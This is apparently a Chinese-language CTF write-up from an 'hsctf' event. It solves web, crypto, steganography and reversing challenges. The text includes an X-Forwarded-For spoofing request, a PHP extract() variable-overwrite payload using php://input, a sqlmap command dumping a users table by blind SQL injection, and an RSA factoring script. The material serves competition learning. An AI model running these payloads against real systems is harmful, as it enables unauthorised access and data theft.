由于没有多少时间答题,抽空在划水的时候做了一两道题目.比赛已经结束了24小时了。特把写的WP分享一下,欢迎各位大佬进行指点。

warm_up

只有虔诚的嘉心糖才能成功拿到flag
地址：43.248.98.206:10003

GET / HTTP/1.1
Host: 43.248.98.206:10003
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Referer:jiaran BiliBili
X-Forwarded-For:127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

hsctf{he1_hei_ran_r@n_w0_d3_rAn_Ran_00000000} 

头头是道

有一个清醒的头脑很重要
地址：43.248.98.206:10006

hsctf{Mast3rH0ssssT_dI@nQQ}

B45364

WVVoT2FtUkhXamRoUmxVeFRtcHNUMXBHT1V4aFYyeDVXVmRHUTJKSGVGTlpXREJMQ2c9PQo=

三次base64得到flag

hsctf{hU569Nd_KiiraaBllRa}

EZphp

我得想想怎么才能取而代之
地址：43.248.98.206:10005

打开页面发现php extract变量覆盖

 <?php
include 'flag.php';
extract($_GET);
if (isset($wsf)) {
    $xmm = trim(file_get_contents($zm));
    if ($xmm == $wsf) {  //通过传参?wsf=&zm= 绕过
        if (!empty($xlq)) {
            $xw = trim(file_get_contents($fn)); 
            if ($xlq === $xw) {	//通过php://input协议绕过

                echo "<p>$flag</p>";
            } else {
                echo '<p>no no no </p>';
            }
        } else 'You cant do that!!';
    } else {
        echo 'hacker!!';
    }
} else {
    highlight_file(__FILE__);
}
?>

payload: ?wsf=&zm=&xlq=fn=2&fn=php://input 
Post传参:fn=2

flag{phP_lS_th9_be5T_l4ngUa9e}

easy_sql

嘉然，为了你我要打ctf！！！咦？这里这么注入不进去呢？奇怪
地址：43.248.98.206:10001

访问之后查看加载发现 id=1

简单测试，发现sql注入

sqlmap一把梭哈。

#因为是时间盲注,所以flag出来之后就直接Ctrl+c了
python sqlmap.py -u "http://43.248.98.206:10001/image.php?id=*" -D hsctffinal -T users --dump

baigeiRSA

白给了，白给了，真白给！

下载下来之后的脚本内容

import libnum
from Crypto.Util import number
from secret import flag

size = 128
e = 65537
p = number.getPrime(size)
q = number.getPrime(size)
n = p*q

m = libnum.s2n(flag)
c = pow(m, e, n)

print('n = %d' % n)
print('c = %d' % c)


#同时还有一个输出文件
n = 88503001447845031603457048661635807319447136634748350130947825183012205093541
c = 40876621398366534035989065383910105526025410999058860023908252093679681817257

在已知e,N,c的情况下,其他不管了，直接yafu分解N，得到p,q 如下
P39 = 322368694010594584041053487661458382819
P39 = 274539690398523616505159415195049044439

直接脚本,网上脚本,不过原脚本有问题,然后稍作修改，删除了没有用的代码.结果如下

import gmpy2
from Crypto.Util.number import long_to_bytes

e=65537
c=40876621398366534035989065383910105526025410999058860023908252093679681817257
p = 322368694010594584041053487661458382819
q = 274539690398523616505159415195049044439
n = p*q
phi_n = (p-1)*(q-1)
d = gmpy2.invert(e,phi_n)
m = pow(c,d,n)
print(long_to_bytes(m))

得到flag

HSCTF{@Zh3n_Ba1_G3i!@}

image1

图片隐写1

下载下来图片,右键属性,在详细信息中发现flag

image2

图片隐写2

比第一张图要大,猜测图片内插入了其他数据。

但是内容一样,主题部分无flag。直接查看16进制,疑似被隐藏。搜索flag

发现flag
flag{5eafbba3-f710-4fcc-9045-0b0a8b581ec5}

image3

之前两个图片占用40k左右.这个图片占用755k.明显不正常

同时图片存在白边，疑似高度存在问题

修改高度后获取flag

flag{2c44e767-e9b4-4b55-b75e-3504b515942f}

image4

大小无异常,但是在16进制中搜索flag发现了第二题的flag,提交失败,在最后发现了zip的内容。存在flag.txt

直接修改后缀为zip,然后打开,获取flag.txt内容

flag{3f0283e0-e5d0-4084-816b-1237718a8630}

2^11

^在sage里又是什么意思呢……？

下载附件后,运行exe,发现是2048

逆向不太会,ida分析半天，伪代码调不出来,于是决定上下科技。

通过CE修改分数,直接显示flag

flag{E1d3sTBrOth3r_CaR0Ilikoule}